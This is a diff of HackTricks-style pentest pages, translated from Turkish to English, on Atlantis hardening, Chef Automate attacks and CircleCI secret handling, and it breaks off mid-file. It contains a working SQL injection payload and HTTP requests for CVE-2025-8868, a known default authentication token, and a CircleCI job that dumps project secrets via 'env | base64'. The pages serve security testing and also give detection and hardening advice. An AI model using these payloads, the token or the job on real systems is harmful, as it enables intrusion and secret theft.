- Belirli repolar: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
|
||||
- Tüm organizasyonunuz: `--repo-allowlist=github.com/runatlantis/*`
|
||||
- GitHub Enterprise kurulumunuzdaki her repo: `--repo-allowlist=github.yourcompany.com/*`
|
||||
- Tüm repolar: `--repo-allowlist=*`. Korunan bir ağda olduğunuzda yararlıdır ama bir webhook secret'ı ayarlamadan tehlikelidir.
|
||||
- Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
|
||||
- Your whole organization: `--repo-allowlist=github.com/runatlantis/*`
|
||||
- Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*`
|
||||
- All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret.
|
||||
|
||||
Bu bayrak, Atlantis kurulumunuzun kontrol etmediğiniz repolarla kullanılmadığından emin olur. Daha fazla bilgi için `atlantis server --help` komutuna bakın.
|
||||
This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details.
|
||||
|
||||
#### Protect Terraform Planning <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>
|
||||
|
||||
Eğer saldırganların kötü niyetli Terraform kodu ile pull request'ler göndermesi tehdit modelinizde varsa, `terraform apply` onaylarının yeterli olmadığını bilmelisiniz. Kötü niyetli bir kodu `terraform plan` içinde çalıştırmak mümkündür, [`external` veri kaynağını](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) kullanarak veya kötü niyetli bir sağlayıcı belirterek. Bu kod, kimlik bilgilerinizi dışarı sızdırabilir.
|
||||
If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that `terraform apply` approvals are not enough. It is possible to run malicious code in a `terraform plan` using the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) or by specifying a malicious provider. This code could then exfiltrate your credentials.
|
||||
|
||||
Bunu önlemek için şunları yapabilirsiniz:
|
||||
To prevent this, you could:
|
||||
|
||||
1. Sağlayıcıları Atlantis imajına yerleştirin veya barındırın ve üretimde çıkışı reddedin.
|
||||
2. Sağlayıcı kayıt protokolünü dahili olarak uygulayın ve kamuya açık çıkışı reddedin, böylece kayıt üzerinde yazma erişimine kimin sahip olduğunu kontrol edersiniz.
|
||||
3. [Sunucu tarafı repo yapılandırmanızı](https://www.runatlantis.io/docs/server-side-repo-config.html)'nın `plan` adımını, yasaklı sağlayıcılar veya veri kaynakları veya izin verilmeyen kullanıcılardan gelen PR'ler ile doğrulamak için değiştirin. Bu noktada ek doğrulama da ekleyebilirsiniz, örneğin `plan`'ın devam etmesine izin vermeden önce PR'da "beğeni" gerektirmek. Conftest burada faydalı olabilir.
|
||||
1. Bake providers into the Atlantis image or host and deny egress in production.
|
||||
2. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry.
|
||||
3. Modify your [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing the `plan` to continue. Conftest could be of use here.
|
||||
|
||||
#### Webhook Secrets <a href="#webhook-secrets" id="webhook-secrets"></a>
|
||||
|
||||
Atlantis, `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` ortam değişkenleri aracılığıyla ayarlanmış Webhook secret'ları ile çalıştırılmalıdır. `--repo-allowlist` bayrağı ayarlı olsa bile, bir webhook secret'ı olmadan, saldırganlar izin verilen bir repo gibi davranarak Atlantis'e istek yapabilirler. Webhook secret'ları, webhook isteklerinin gerçekten VCS sağlayıcınızdan (GitHub veya GitLab) geldiğini garanti eder.
|
||||
Atlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables. Even with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab).
|
||||
|
||||
Eğer Azure DevOps kullanıyorsanız, webhook secret'ları yerine temel bir kullanıcı adı ve şifre ekleyin.
|
||||
If you are using Azure DevOps, instead of webhook secrets add a basic username and password.
|
||||
|
||||
#### Azure DevOps Basic Authentication <a href="#azure-devops-basic-authentication" id="azure-devops-basic-authentication"></a>
|
||||
|
||||
Azure DevOps, tüm webhook olaylarında temel kimlik doğrulama başlığı göndermeyi destekler. Bu, webhook konumunuz için HTTPS URL'si kullanmayı gerektirir.
|
||||
Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location.
|
||||
|
||||
#### SSL/HTTPS <a href="#ssl-https" id="ssl-https"></a>
|
||||
|
||||
Eğer webhook secret'larını kullanıyorsanız ama trafiğiniz HTTP üzerinden ise, webhook secret'ları çalınabilir. `--ssl-cert-file` ve `--ssl-key-file` bayraklarını kullanarak SSL/HTTPS'yi etkinleştirin.
|
||||
If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the `--ssl-cert-file` and `--ssl-key-file` flags.
|
||||
|
||||
#### Enable Authentication on Atlantis Web Server <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>
|
||||
|
||||
Web hizmetinde kimlik doğrulamayı etkinleştirmek şiddetle önerilir. `--web-basic-auth=true` kullanarak BasicAuth'u etkinleştirin ve `--web-username=yourUsername` ve `--web-password=yourPassword` bayraklarını kullanarak bir kullanıcı adı ve şifre ayarlayın.
|
||||
It is very recommended to enable authentication in the web service. Enable BasicAuth using the `--web-basic-auth=true` and setup a username and a password using `--web-username=yourUsername` and `--web-password=yourPassword` flags.
|
||||
|
||||
Ayrıca bunları ortam değişkenleri olarak da geçebilirsiniz `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` ve `ATLANTIS_WEB_PASSWORD=yourPassword`.
|
||||
You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` and `ATLANTIS_WEB_PASSWORD=yourPassword`.
|
||||
|
||||
### References
|
||||
|
||||
@@ -370,3 +386,6 @@ Ayrıca bunları ortam değişkenleri olarak da geçebilirsiniz `ATLANTIS_WEB_BA
|
||||
- [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# Chef Automate Güvenliği
|
||||
# Chef Automate Security
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Chef Automate Nedir
|
||||
## What is Chef Automate
|
||||
|
||||
Chef Automate, altyapı otomasyonu, uyumluluk ve uygulama teslimatı için bir platformdur. Genellikle Angular olan bir web UI sunar; bu UI, bir gRPC-Gateway aracılığıyla backend gRPC services ile iletişim kurar ve /api/v0/ gibi yollar altında REST-benzeri endpoint'ler sağlar.
|
||||
Chef Automate is a platform for infrastructure automation, compliance, and application delivery. It exposes a web UI (often Angular) that talks to backend gRPC services via a gRPC-Gateway, providing REST-like endpoints under paths such as /api/v0/.
|
||||
|
||||
- Yaygın arka uç bileşenleri: gRPC services, PostgreSQL (genellikle pq: error prefixes ile görünür), data-collector ingest service
|
||||
- Kimlik doğrulama mekanizmaları: kullanıcı/API token'ları ve bir data collector token başlığı olan x-data-collector-token
|
||||
- Common backend components: gRPC services, PostgreSQL (often visible via pq: error prefixes), data-collector ingest service
|
||||
- Auth mechanisms: user/API tokens and a data collector token header x-data-collector-token
|
||||
|
||||
## Enumeration & Attacks
|
||||
|
||||
@@ -15,4 +15,4 @@ Chef Automate, altyapı otomasyonu, uyumluluk ve uygulama teslimatı için bir p
|
||||
chef-automate-enumeration-and-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -2,76 +2,81 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Genel Bakış
|
||||
## Overview
|
||||
|
||||
Bu sayfa Chef Automate örneklerini enumerate etmek ve saldırmak için pratik teknikleri toplar; özellikle:
|
||||
- gRPC-Gateway-backed REST endpoints keşfetme ve validation/hata yanıtları aracılığıyla istek şemalarını çıkarma
|
||||
- varsayılanlar mevcut olduğunda x-data-collector-token authentication header'ını kötüye kullanma
|
||||
- /api/v0/compliance/profiles/search içindeki filters[].type alanını etkileyen Compliance API'de Time-based blind SQL injection (CVE-2025-8868)
|
||||
This page collects practical techniques to enumerate and attack Chef Automate instances, with emphasis on:
|
||||
- Discovering gRPC-Gateway-backed REST endpoints and inferring request schemas via validation/error responses
|
||||
- Abusing the x-data-collector-token authentication header when defaults are present
|
||||
- Time-based blind SQL injection in the Compliance API (CVE-2025-8868) affecting the filters[].type field in /api/v0/compliance/profiles/search
|
||||
|
||||
> Not: Backend yanıtlarında grpc-metadata-content-type: application/grpc header'ının bulunması genellikle REST çağrılarını gRPC servislerine köprüleyen bir gRPC-Gateway olduğunu gösterir.
|
||||
> Note: Backend responses that include header grpc-metadata-content-type: application/grpc typically indicate a gRPC-Gateway bridging REST calls to gRPC services.
|
||||
|
||||
## Recon: Architecture and Fingerprints
|
||||
|
||||
- Front-end: Often Angular. Static bundle'lar REST yolları hakkında ipucu verebilir (ör. /api/v0/...)
|
||||
- Front-end: Often Angular. Static bundles can hint at REST paths (e.g., /api/v0/...)
|
||||
- API transport: REST to gRPC via gRPC-Gateway
|
||||
- Yanıtlar grpc-metadata-content-type: application/grpc içerebilir
|
||||
- Responses may include grpc-metadata-content-type: application/grpc
|
||||
- Database/driver fingerprints:
|
||||
- Hata gövdeleri pq: ile başlıyorsa Go pq driver'ı kullanan PostgreSQL'i kuvvetle işaret eder
|
||||
- İlginç Compliance endpoints (auth required):
|
||||
- POST /api/v0/compliance/profiles/search
|
||||
- POST /api/v0/compliance/scanner/jobs/search
|
||||
- Error bodies starting with pq: strongly suggest PostgreSQL with the Go pq driver
|
||||
- Interesting Compliance endpoints (auth required):
|
||||
- POST /api/v0/compliance/profiles/search
|
||||
- POST /api/v0/compliance/scanner/jobs/search
|
||||
|
||||
## Auth: Data Collector Token (x-data-collector-token)
|
||||
|
||||
Chef Automate, istekleri özel bir header ile authenticate eden bir data collector sunar:
|
||||
Chef Automate exposes a data collector that authenticates requests via a dedicated header:
|
||||
|
||||
- Header: x-data-collector-token
|
||||
- Risk: Bazı ortamlar, korumalı API yollarına erişim sağlayan varsayılan bir token'ı saklayabilir. Wild'da gözlemlenen bilinen varsayılan:
|
||||
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
|
||||
- Risk: Some environments may retain a default token granting access to protected API routes. Known default observed in the wild:
|
||||
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
|
||||
|
||||
Mevcutsa, bu token auth ile engellenmiş Compliance API endpoint'lerini çağırmak için kullanılabilir. Hardening sırasında varsayılanları döndürmeyi/devre dışı bırakmayı her zaman deneyin.
|
||||
If present, this token can be used to call Compliance API endpoints otherwise gated by auth. Always attempt to rotate/disable defaults during hardening.
|
||||
|
||||
## API Schema Inference via Error-Driven Discovery
|
||||
|
||||
gRPC-Gateway-backed endpoints sıklıkla leak eden ve beklenen istek modelini tanımlayan yararlı doğrulama hataları gösterir.
|
||||
gRPC-Gateway-backed endpoints often leak useful validation errors that describe the expected request model.
|
||||
|
||||
For /api/v0/compliance/profiles/search, backend şu yapıda bir body bekler: filters dizisi, her eleman bir nesne olup:
|
||||
For /api/v0/compliance/profiles/search, the backend expects a body with a filters array, where each element is an object with:
|
||||
|
||||
- type: string (filter field identifier)
|
||||
- values: array of strings
|
||||
|
||||
Örnek istek yapısı:
|
||||
Example request shape:
|
||||
|
||||
```json
|
||||
{
|
||||
"filters": [
|
||||
{ "type": "name", "values": ["test"] }
|
||||
]
|
||||
"filters": [
|
||||
{ "type": "name", "values": ["test"] }
|
||||
]
|
||||
}
|
||||
```
|
||||
Hatalı JSON veya yanlış alan tipleri genellikle ipuçlarıyla 4xx/5xx tetikler ve header'lar gRPC-Gateway davranışını gösterir. Bunları alanları eşlemek ve enjeksiyon yüzeylerini belirlemek için kullanın.
|
||||
|
||||
Malformed JSON or wrong field types typically trigger 4xx/5xx with hints, and headers indicate the gRPC-Gateway behavior. Use these to map fields and localize injection surfaces.
|
||||
|
||||
## Compliance API SQL Injection (CVE-2025-8868)
|
||||
|
||||
- Etkilenen endpoint: POST /api/v0/compliance/profiles/search
|
||||
- Enjeksiyon noktası: filters[].type
|
||||
- Affected endpoint: POST /api/v0/compliance/profiles/search
|
||||
- Injection point: filters[].type
|
||||
- Vulnerability class: time-based blind SQL injection in PostgreSQL
|
||||
- Kök neden: `type` alanını dinamik bir SQL fragment'ine interpolate ederken parameterization/whitelisting uygulanmaması (muhtemelen identifiers/WHERE clauses oluşturmak için kullanılıyor). `type` içindeki crafted değerler PostgreSQL tarafından değerlendirilir.
|
||||
- Root cause: Lack of proper parameterization/whitelisting when interpolating the type field into a dynamic SQL fragment (likely used to construct identifiers/WHERE clauses). Crafted values in type are evaluated by PostgreSQL.
|
||||
|
||||
Working time-based payload:
|
||||
|
||||
```json
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
|
||||
```
|
||||
Teknik notlar:
|
||||
- Orijinal string'i tek tırnak ile kapatın
|
||||
- pg_sleep(N) çağıran bir subquery ile birleştirin
|
||||
- || ile string bağlamına geri girin, böylece final SQL, type'ın gömülü olduğu her durumda söz dizimi açısından geçerli kalır
|
||||
|
||||
### Farklı gecikme ile doğrulama
|
||||
Technique notes:
|
||||
- Close the original string with a single quote
|
||||
- Concatenate a subquery that calls pg_sleep(N)
|
||||
- Re-enter string context via || so the final SQL remains syntactically valid regardless of where type is embedded
|
||||
|
||||
Çift istek gönderin ve sunucu tarafı yürütmeyi doğrulamak için yanıt sürelerini karşılaştırın:
|
||||
### Proof via differential latency
|
||||
|
||||
Send paired requests and compare response times to validate server-side execution:
|
||||
|
||||
- N = 1 second
|
||||
|
||||
- N = 1 saniye
|
||||
```
|
||||
POST /api/v0/compliance/profiles/search HTTP/1.1
|
||||
Host: <target>
|
||||
@@ -80,7 +85,9 @@ x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9
|
||||
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]}
|
||||
```
|
||||
- N = 5 saniye
|
||||
|
||||
- N = 5 seconds
|
||||
|
||||
```
|
||||
POST /api/v0/compliance/profiles/search HTTP/1.1
|
||||
Host: <target>
|
||||
@@ -89,49 +96,50 @@ x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9
|
||||
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
|
||||
```
|
||||
|
||||
Observed behavior:
|
||||
- Yanıt süreleri pg_sleep(N) ile artıyor
|
||||
- HTTP 500 yanıtları denemeler sırasında pq: detayları içerebilir; bu SQL yürütme yollarını doğrular
|
||||
- Response times scale with pg_sleep(N)
|
||||
- HTTP 500 responses may include pq: details during probing, confirming SQL execution paths
|
||||
|
||||
> İpucu: Gürültüyü ve false pozitifleri azaltmak için bir zamanlama doğrulayıcısı kullanın (ör. istatistiksel karşılaştırmalı birden fazla deneme).
|
||||
> Tip: Use a timing validator (e.g., multiple trials with statistical comparison) to reduce noise and false positives.
|
||||
|
||||
### Etki
|
||||
### Impact
|
||||
|
||||
Kimlik doğrulanmış kullanıcılar — veya varsayılan x-data-collector-token'ı kötüye kullanan kimlik doğrulanmamış aktörler — Chef Automate’in PostgreSQL bağlamında rastgele SQL çalıştırabilir; bu, uyumluluk profilleri, yapılandırma ve telemetri gizliliği ile bütünlüğünü riske atar.
|
||||
Authenticated users—or unauthenticated actors abusing a default x-data-collector-token—can execute arbitrary SQL within Chef Automate’s PostgreSQL context, risking confidentiality and integrity of compliance profiles, configuration, and telemetry.
|
||||
|
||||
### Etkilenen sürümler / Düzeltme
|
||||
### Affected versions / Fix
|
||||
|
||||
- CVE: CVE-2025-8868
|
||||
- Yükseltme yönlendirmesi: Satıcı bildirimlerine göre Chef Automate 4.13.295 veya daha yeni (Linux x86)
|
||||
- Upgrade guidance: Chef Automate 4.13.295 or later (Linux x86) per vendor advisories
|
||||
|
||||
## Tespit ve Adli İnceleme
|
||||
## Detection and Forensics
|
||||
|
||||
- API katmanı:
|
||||
- /api/v0/compliance/profiles/search üzerindeki 500'leri izleyin; filters[].type içinde tırnak işaretleri ('), birleştirme (||) veya pg_sleep gibi fonksiyon referansları olup olmadığına bakın
|
||||
- gRPC-Gateway akışlarını belirlemek için yanıt başlıklarında grpc-metadata-content-type'ı inceleyin
|
||||
- Veritabanı katmanı (PostgreSQL):
|
||||
- pg_sleep çağrılarını ve hatalı biçimlendirilmiş identifier hatalarını denetleyin (genellikle Go pq sürücüsünden gelen pq: önekleriyle ortaya çıkar)
|
||||
- Kimlik Doğrulama:
|
||||
- x-data-collector-token kullanımını, özellikle bilinen varsayılan değerleri, API yolları genelinde kaydedin ve uyarı verin
|
||||
- API layer:
|
||||
- Monitor 500s on /api/v0/compliance/profiles/search where filters[].type contains quotes ('), concatenation (||), or function references like pg_sleep
|
||||
- Inspect response headers for grpc-metadata-content-type to identify gRPC-Gateway flows
|
||||
- Database layer (PostgreSQL):
|
||||
- Audit for pg_sleep calls and malformed identifier errors (often surfaced with pq: prefixes coming from the Go pq driver)
|
||||
- Authentication:
|
||||
- Log and alert on usage of x-data-collector-token, especially known default values, across API paths
|
||||
|
||||
## Önlemler ve Sertleştirme
|
||||
## Mitigations and Hardening
|
||||
|
||||
- Hemen:
|
||||
- Varsayılan data collector token'larını değiştirin/devre dışı bırakın
|
||||
- Data collector uç noktalarına gelen trafiği kısıtlayın; güçlü, benzersiz tokenlar zorunlu kılın
|
||||
- Kod düzeyi:
|
||||
- Sorguları parametreleyin; SQL parçalarını asla string ile birleştirmeyin
|
||||
- Sunucuda izin verilen type değerlerini sıkı bir şekilde beyaz listeye alın (enum)
|
||||
- Identifiers/clauses için dinamik SQL derlemesinden kaçının; dinamik davranış gerekiyorsa güvenli identifier tırnaklama ve açık beyaz listeler kullanın
|
||||
- Immediate:
|
||||
- Rotate/disable default data collector tokens
|
||||
- Restrict ingress to data collector endpoints; enforce strong, unique tokens
|
||||
- Code-level:
|
||||
- Parameterize queries; never string-concatenate SQL fragments
|
||||
- Strictly whitelist allowed type values on the server (enum)
|
||||
- Avoid dynamic SQL assembly for identifiers/clauses; if dynamic behavior is required, use safe identifier quoting and explicit whitelists
|
||||
|
||||
## Pratik Test Kontrol Listesi
|
||||
## Practical Testing Checklist
|
||||
|
||||
- x-data-collector-token'ın kabul edilip edilmediğini ve bilinen varsayılanın çalışıp çalışmadığını kontrol edin
|
||||
- Doğrulama hataları oluşturarak ve hata mesajlarını/başlıkları okuyarak Compliance API istek şemasını haritalayın
|
||||
- Sadece values dizileri veya üst düzey metin alanları değil, daha az belirgin "identifier-benzeri" alanlarda (ör. filters[].type) SQLi test edin
|
||||
- Bağlamlar arasında SQL sözdizimini geçerli tutmak için birleştirme ile zaman tabanlı teknikler kullanın
|
||||
- Check if x-data-collector-token is accepted and whether the known default works
|
||||
- Map the Compliance API request schema by inducing validation errors and reading error messages/headers
|
||||
- Test for SQLi in less obvious “identifier-like” fields (e.g., filters[].type), not just values arrays or top-level text fields
|
||||
- Use time-based techniques with concatenation to keep SQL syntactically valid across contexts
|
||||
|
||||
## Referanslar
|
||||
## References
|
||||
|
||||
- [Cooking an SQL Injection Vulnerability in Chef Automate (XBOW blog)](https://xbow.com/blog/cooking-an-sql-injection-vulnerability-in-chef-automate)
|
||||
- [Timing trace (XBOW)](https://xbow-website.pages.dev/traces/chef-automate-sql-injection/)
|
||||
@@ -139,4 +147,4 @@ Kimlik doğrulanmış kullanıcılar — veya varsayılan x-data-collector-token
|
||||
- [gRPC-Gateway](https://github.com/grpc-ecosystem/grpc-gateway)
|
||||
- [pq PostgreSQL driver for Go](https://github.com/lib/pq)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -1,235 +1,258 @@
|
||||
# CircleCI Güvenliği
|
||||
# CircleCI Security
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### Temel Bilgiler
|
||||
### Basic Information
|
||||
|
||||
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) sürekli entegrasyon platformudur; burada ne yapmak istediğinizi ve ne zaman yapmak istediğinizi belirten **şablonlar** tanımlayabilirsiniz. Bu şekilde, örneğin, **testleri** veya **dağıtımları** doğrudan **repo ana dalınızdan** **otomatikleştirebilirsiniz**.
|
||||
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is a Continuos Integration platform where you can **define templates** indicating what you want it to do with some code and when to do it. This way you can **automate testing** or **deployments** directly **from your repo master branch** for example.
|
||||
|
||||
### İzinler
|
||||
### Permissions
|
||||
|
||||
**CircleCI**, giriş yapan **hesap** ile ilgili github ve bitbucket'tan **izinleri devralır**.\
|
||||
Testlerimde, eğer **github'daki repo üzerinde yazma izinleriniz varsa**, **CircleCI'de proje ayarlarını yönetebileceğinizi** (yeni ssh anahtarları ayarlamak, proje api anahtarlarını almak, yeni CircleCI yapılandırmaları ile yeni dallar oluşturmak...) kontrol ettim.
|
||||
**CircleCI** **inherits the permissions** from github and bitbucket related to the **account** that logs in.\
|
||||
In my testing I checked that as long as you have **write permissions over the repo in github**, you are going to be able to **manage its project settings in CircleCI** (set new ssh keys, get project api keys, create new branches with new CircleCI configs...).
|
||||
|
||||
Ancak, **repo'yu CircleCI projesine dönüştürmek** için bir **repo yöneticisi** olmanız gerekir.
|
||||
However, you need to be a a **repo admin** in order to **convert the repo into a CircleCI project**.
|
||||
|
||||
### Env Değişkenleri ve Gizli Anahtarlar
|
||||
### Env Variables & Secrets
|
||||
|
||||
[**belgelere**](https://circleci.com/docs/2.0/env-vars/) göre, bir iş akışı içinde **ortam değişkenlerine değer yüklemenin** farklı yolları vardır.
|
||||
According to [**the docs**](https://circleci.com/docs/2.0/env-vars/) there are different ways to **load values in environment variables** inside a workflow.
|
||||
|
||||
#### Yerleşik env değişkenleri
|
||||
#### Built-in env variables
|
||||
|
||||
CircleCI tarafından çalıştırılan her konteyner, her zaman [**belgelere tanımlanmış özel env değişkenlerine**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) sahip olacaktır; örneğin `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` veya `CIRCLE_USERNAME`.
|
||||
Every container run by CircleCI will always have [**specific env vars defined in the documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) like `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` or `CIRCLE_USERNAME`.
|
||||
|
||||
#### Düz metin
|
||||
#### Clear text
|
||||
|
||||
You can declare them in clear text inside a **command**:
|
||||
|
||||
Bunları bir **komut** içinde düz metin olarak tanımlayabilirsiniz:
|
||||
```yaml
|
||||
- run:
|
||||
name: "set and echo"
|
||||
command: |
|
||||
SECRET="A secret"
|
||||
echo $SECRET
|
||||
name: "set and echo"
|
||||
command: |
|
||||
SECRET="A secret"
|
||||
echo $SECRET
|
||||
```
|
||||
**Çalışma ortamı** içinde açık metin olarak tanımlayabilirsiniz:
|
||||
|
||||
You can declare them in clear text inside the **run environment**:
|
||||
|
||||
```yaml
|
||||
- run:
|
||||
name: "set and echo"
|
||||
command: echo $SECRET
|
||||
environment:
|
||||
SECRET: A secret
|
||||
name: "set and echo"
|
||||
command: echo $SECRET
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
**build-job ortamı** içinde açık metin olarak bildirebilirsiniz:
|
||||
```yaml
|
||||
jobs:
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
**bir konteynerin ortamında** açık metin olarak tanımlayabilirsiniz:
|
||||
```yaml
|
||||
jobs:
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
#### Proje Gizli Bilgileri
|
||||
|
||||
Bunlar yalnızca **proje** (her **dal** tarafından) **erişilebilir** olan **gizli bilgilerdir**.\
|
||||
Onları _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_ adresinde **tanımlanmış** olarak görebilirsiniz.
|
||||
You can declare them in clear text inside the **build-job environment**:
|
||||
|
||||
```yaml
|
||||
jobs:
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
|
||||
You can declare them in clear text inside the **environment of a container**:
|
||||
|
||||
```yaml
|
||||
jobs:
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
|
||||
#### Project Secrets
|
||||
|
||||
These are **secrets** that are only going to be **accessible** by the **project** (by **any branch**).\
|
||||
You can see them **declared in** _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_
|
||||
|
||||
.png>)
|
||||
|
||||
> [!CAUTION]
|
||||
> "**Değişkenleri İçe Aktar**" işlevi, **diğer projelerden değişkenleri** bu projeye **içe aktarmaya** olanak tanır.
|
||||
> The "**Import Variables**" functionality allows to **import variables from other projects** to this one.
|
||||
|
||||
#### Bağlam Gizli Bilgileri
|
||||
#### Context Secrets
|
||||
|
||||
Bunlar **örgüt genelinde** gizli bilgilerdir. **Varsayılan olarak herhangi bir repo**, burada saklanan **herhangi bir gizli bilgiye** erişebilecektir:
|
||||
These are secrets that are **org wide**. By **default any repo** is going to be able to **access any secret** stored here:
|
||||
|
||||
.png>)
|
||||
|
||||
> [!TIP]
|
||||
> Ancak, farklı bir grup (Tüm üyeler yerine) **belirli kişilere gizli bilgilere erişim vermek için seçilebilir**.\
|
||||
> Bu, gizli bilgilerin **güvenliğini artırmanın** en iyi yollarından biridir; herkesin erişmesine izin vermek yerine yalnızca bazı kişilerin erişmesine izin vermek.
|
||||
> However, note that a different group (instead of All members) can be **selected to only give access to the secrets to specific people**.\
|
||||
> This is currently one of the best ways to **increase the security of the secrets**, to not allow everybody to access them but just some people.
|
||||
|
||||
### Saldırılar
|
||||
### Attacks
|
||||
|
||||
#### Açık Metin Gizli Bilgilerini Arama
|
||||
#### Search Clear Text Secrets
|
||||
|
||||
Eğer **VCS'ye** (github gibi) **erişiminiz** varsa, her **repo üzerindeki her dalın** `.circleci/config.yml` dosyasını kontrol edin ve orada saklanan potansiyel **açık metin gizli bilgileri** için **arama** yapın.
|
||||
If you have **access to the VCS** (like github) check the file `.circleci/config.yml` of **each repo on each branch** and **search** for potential **clear text secrets** stored in there.
|
||||
|
||||
#### Gizli Çevre Değişkenleri ve Bağlam Sıralaması
|
||||
#### Secret Env Vars & Context enumeration
|
||||
|
||||
Kodu kontrol ederek, her `.circleci/config.yml` dosyasında **kullanılan tüm gizli bilgi adlarını** bulabilirsiniz. Ayrıca, bu dosyalardan **bağlam adlarını** alabilir veya bunları web konsolunda kontrol edebilirsiniz: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
|
||||
Checking the code you can find **all the secrets names** that are being **used** in each `.circleci/config.yml` file. You can also get the **context names** from those files or check them in the web console: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
|
||||
|
||||
#### Proje gizli bilgilerini dışarı aktarma
|
||||
#### Exfiltrate Project secrets
|
||||
|
||||
> [!WARNING]
|
||||
> Tüm proje ve bağlam **GİZLİ BİLGİLERİNİ** **dışarı aktarmak** için, **tüm github örgütünde yalnızca 1 repo** üzerinde **YAZMA** erişimine sahip olmanız **yeterlidir** (_ve hesabınızın bağlamlara erişimi olmalıdır, ancak varsayılan olarak herkes her bağlama erişebilir_).
|
||||
> In order to **exfiltrate ALL** the project and context **SECRETS** you **just** need to have **WRITE** access to **just 1 repo** in the whole github org (_and your account must have access to the contexts but by default everyone can access every context_).
|
||||
|
||||
> [!CAUTION]
|
||||
> "**Değişkenleri İçe Aktar**" işlevi, **diğer projelerden değişkenleri** bu projeye **içe aktarmaya** olanak tanır. Bu nedenle, bir saldırgan **tüm repo'lardan tüm proje değişkenlerini içe aktarabilir** ve ardından **hepsini birlikte dışarı aktarabilir**.
|
||||
> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. Therefore, an attacker could **import all the project variables from all the repos** and then **exfiltrate all of them together**.
|
||||
|
||||
All the project secrets always are set in the env of the jobs, so just calling env and obfuscating it in base64 will exfiltrate the secrets in the **workflows web log console**:
|
||||
|
||||
Tüm proje gizli bilgileri her zaman işlerin ortamında ayarlanır, bu nedenle sadece ortamı çağırmak ve base64 ile obfuscate etmek, gizli bilgileri **iş akışları web günlük konsolunda** dışarı aktaracaktır:
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
